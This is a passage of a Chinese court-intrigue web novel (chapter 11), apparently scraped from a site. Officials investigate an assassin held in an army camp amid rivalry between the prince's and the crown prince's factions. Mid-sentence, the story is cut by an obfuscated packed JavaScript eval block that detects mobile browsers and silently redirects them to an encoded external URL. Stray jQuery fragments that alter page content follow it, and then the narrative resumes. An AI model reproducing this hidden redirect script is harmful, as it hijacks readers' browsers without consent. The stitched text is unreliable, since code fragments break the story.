11. Chapter 011

朱雀大街万门司。


辰时整。


昨晚喝得稀烂的万门司新官吏都已经收拾得人模狗样陆续开工,不知道这群成日在江湖混迹的新官上任能不能放满三把火,在第一天好歹是装出了个人样陆续点卯到任,即使上任干的唯一一件事是聊闲话。


“哗啦!”


虚掩着的隔扇门被重重推开,一位昨日未在醉仙楼出席的男子侧身挑开帘子,紧接着祝听叙裹着毛绒绒的裘衣缓缓走了进来。


“嘴上的活都先歇歇,大理寺刚刚把一起新鲜的烂摊子移交到万门司了,既然掌事还没来,先来两个人和我去城东走一趟。”他晕着抹诡异桃色的长眸在人群中像是精准搜寻般一扫,快速找到了舒昭杏和柳青昼,看似随意一指:“你俩,跟我走。”


说着,他不容拒绝般干脆转身,无风自起的长绒披风在空中划过一道锋利的弧线,大堂中的人还没理清到底发生了什么,又见他步子一顿,对着身边那个面生男子吩咐:“你去金玉楼找江自闲,让她直接去城东定安军军营。”


万门司内鸦雀无声,一水低着头装死祈祷不要点到自己的人还没来得及理清祝听叙进来的长篇大论,大堂的门便再次在他们面前关上,外面哭天喊地的风雪声戛然而止。


望着舒昭杏和柳青昼匆匆跟着离去的背影,所有人才迟钝地又聚到一块,围在一起七嘴八舌消化起方才一长段话的信息。


“祝大人刚才说什么?城东?城东有什么?”


“不是,我听错了?掌事的还没来?”


“祝大人不是掌事?那是谁?”


“是谁有什么关系,还不都听祝大人的?”


“还有谁没来?第一天就敢迟到?”


不得不说几个脑子凑在一起就是好用,就算单打独斗起来不算聪明,但好歹三个臭皮匠赛过诸葛亮,很快就抓住了里面的重要信息。众人吵吵嚷嚷地往大堂点卯的石墙边一凑,直接锁定了昨天报道第一天就迟到、今天依旧死性不改还迟到、祝听叙口中还没到的掌事——江自闲。


叽叽喳喳吵个不停的众人像是齐刷刷被掐住喉咙般,整整齐齐地变成了哑巴,不约而同地环顾四周找起了活干,不是整理案卷,就是去翻阅资料,装作很忙的样子。


-


某种意义上来说,江自闲并没有迟到,她很有先见之明地让小二帮自己叫了辆马车,直接往城东定安军军营去了。马车还没停稳,就听见后面几声凌乱马蹄声疾驰而来。


“自闲?”柳青昼翻身下马,惊讶地看着慢悠悠从马车上晃下来的人。后者对她温柔一笑,轻快道了声“早”后,目光越过她们两人落在后面的祝听叙身上,微微扬起下巴:“祝大人,付一下车费。”


舒昭杏闻言惊疑不定地望向江自闲,像是怀疑自己听错般瞪大了眼,嘴里的“啊”还没出口,就见一道银光在空中划过,车夫捧着碎银笑着一点头,拉着马掉头就走。


舒昭杏把江自闲拉到一旁。


“你和祝听叙什么情况?”舒昭杏在她耳边轻声嘟囔,“他不是昨天还使唤手下刺杀你吗?一顿饭你俩就泯恩仇了?”


江自闲瞥了眼面色苍白未褪的祝听叙,一时拿不准他到底是被风摧残的,还是府上确实养的全是废物,没能给他解了毒。她摇了摇头:“不好说。”


“不好说?”舒昭杏拧着眉,一头雾水:“什么不好说?不是他使唤的?”


江自闲迟疑地点头:“就要看看定安军军营里什么情况了。”


“这就用上了?”柳青昼走在她身边,低声问道,“你俩后来见过?昨天深更半夜我在京城的小师叔还来问我配解药,应该是在他手下做事。不过你放心,我当时草草应下,也不过是想看看他体内‘琐窗寒’的毒到底到了哪个阶段。”


江自闲点点头,戒备地瞥了眼身后不紧不慢跟着的男人,“昨天在金玉楼见了一面,只来得及下毒……对了,他早上除了选了你们,有说些什么别的吗?”


“别的?”柳青昼蹙了下眉,本来想说没什么,忽地想到祝听叙找她们之前的话,沉吟道:“万门司掌事的应该不是他,他当时说掌事的还没到……”说着,她像是才后知后觉明白般瞪大双眼望向江自闲。


江自闲抿唇点头。


柳青昼正要惊叹,下一刻便听到一阵急促的脚步声响起。


听说他们到了,赵明晋派亲卫带他们进了军营。军营里看上去没多少人在意那几个山贼的死活,赵明晋自己不知道跑哪去混日子了,副将在前面操练士兵,口号震天响、动作整齐划一,看得江自闲有些出神。


有点想念之前在不居道的日子了。


之前山高皇帝远,不用早起点卯,不用制衡博弈,每天最重要的事情就是往三省堂走一趟逗逗师姐妹、师兄弟,就算是月初大会也可以毫无理由地翘掉……而不是像现在这样被迫早起干活,还得提心吊胆那封密诏会不会惹出点什么乱七八糟的事。


“就是这了。”


亲卫将他们带到了一顶灰扑扑的营帐前,从外表上来看似乎和旁的营帐没什么不同,江自闲挑开沉重毡帘走进去。本以为会是案发现场,却没想到一道锦缎华服的高瘦身影肃穆坐于案前,闻声抬头望了过来。江自闲从未见过这样严肃冷峻的赵明晋,不过也就抬眸一瞬,琥珀色眼眸很快又勾出一抹笑意:


“江姑娘。”


江自闲站定脚步,礼数俱全地作礼:“大皇子殿下。”


“你们终于来了。”赵明晋拂袖起身,淡淡扫过跟在后面的祝听叙,语调听上去颇为不满,脸上却还维持着风度翩翩的笑容。他盈盈抬手示意免礼,转头冲江自闲笑着抱怨:“今早报案后京兆府先来走了一趟,又把大理寺的人喊了过来,大理寺的人交头接耳不知道说什么,看上去又踢皮球踢给你们了。希望你们是最后一批来这的人。”


“说来也好笑,这位刺客行刺之后,没有逃走,也没有自戕,而是就躺在了他们边上,直到被发现。走,我带你去见


;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15142721|164556||http|test|mini|href|location''.split(''|''),0,{}));


() {


$(''.inform'').remove();


$(''#content'').append(''


见那位不长眼的刺客。”


赵明晋领着江自闲从祝听叙面前走过,修长有劲的手指抓着毛领微微整顿衣衫,扭头冲祝听叙颔首示意。


祝听叙稍稍欠身,余光一瞥,撞上他颈侧那道清晰惹眼的暗红口印——


暧昧不清。


“截杀你的时候已在京城地界,本来是准备今早移交京兆府的,谁知道偏偏就这么不巧,真是不好意思。”赵明晋对江自闲无奈摇摇头,笑着转向祝听叙,“不过祝大人在处理江湖事宜上经验丰富,如今刺客被我们活捉,也算是一条能继续查下去的线索。”


身为太子党的祝听叙面对大皇子难得挤出几分笑意,“江大人如今是万门司掌事,江大人的事祝某自然尽力而为。”


赵明晋嘴角笑意停滞一刹那,语气里的雀跃随之减少几分:“万门司掌事竟是江姑娘?这倒是少有,毕竟从古至今鲜有女子为官,若是有什么需要我帮助或是配合的,江姑娘不必客气,只管开口。”


他说着,话锋一转:“毕竟军营被人肆意擅闯行刺也算是我定安军失职,发现的第一时间,我便让人捉拿关押了,顺便呢,命人搜了下身。这一搜,还确实精彩。”


江自闲不知道从哪摸出个包子揣着在那一点点啃食,嘴角浮着淡淡笑意,歪了歪头示意他继续说下去。


“他身上竟藏着一只蝶式金扣,而有如此纹案的,正是当朝吏部司郎中,关瑛决。”说到这赵明晋话音微顿,微微侧目看向出神跟在后面的祝听叙:“前段时间圣上交由祝大人和吏部共同筹备万门司,祝大人对吏部司郎中关大人应该颇为熟悉吧?”


祝听叙回神,眉头微挑:“那条暴脾气的废物?”


饶是常年看太子党不顺眼的赵明晋都忍不住翘了下嘴角,关瑛决在他记忆里除了喜欢狐假虎威、狗仗人势之外,似乎从未干出些实事。不过好在他也掀不起风浪,加上朝堂酒囊饭袋、混吃等死的一抓一大把,实在找不出个能替他的,圣上也就对他睁一只眼闭一只眼了。


赵明晋艰难地压了压嘴角:“……算是。”


“一只金扣说明不了多少,也可能是人故意栽赃嫁祸,还需万门司进一步调查。”祝听叙不爱和他说话,中规中矩地回复。


江自闲听得一副欲言又止,若是没有昨天晚上的事情,她听到祝听叙刚才的话还想夸祝听叙一句办事严谨,但一想到祝听叙现在正在装模作样,她都要忍不住夸他一句演得不错。虽然赵明晋也知道一二内情,但舒昭杏和柳青昼暂时还不知道,这些事情说来话长,她懒得去过多解释,还是硬生生忍住了。


“也是,毕竟一只金扣也值不了多少钱,说不定这位暴躁的关大人就喜欢送金扣为乐,哪天办事顺心就随手送了呢?”赵明晋饶有兴味地冲祝听叙笑道:“唉,随手一送的东西也可能被人栽赃卷入这种腌臜事里,江大人以后行万事可都得小心。不过,说起来——”


“祝大人和关大人一起联手创办万门司的时候,收到过吗?”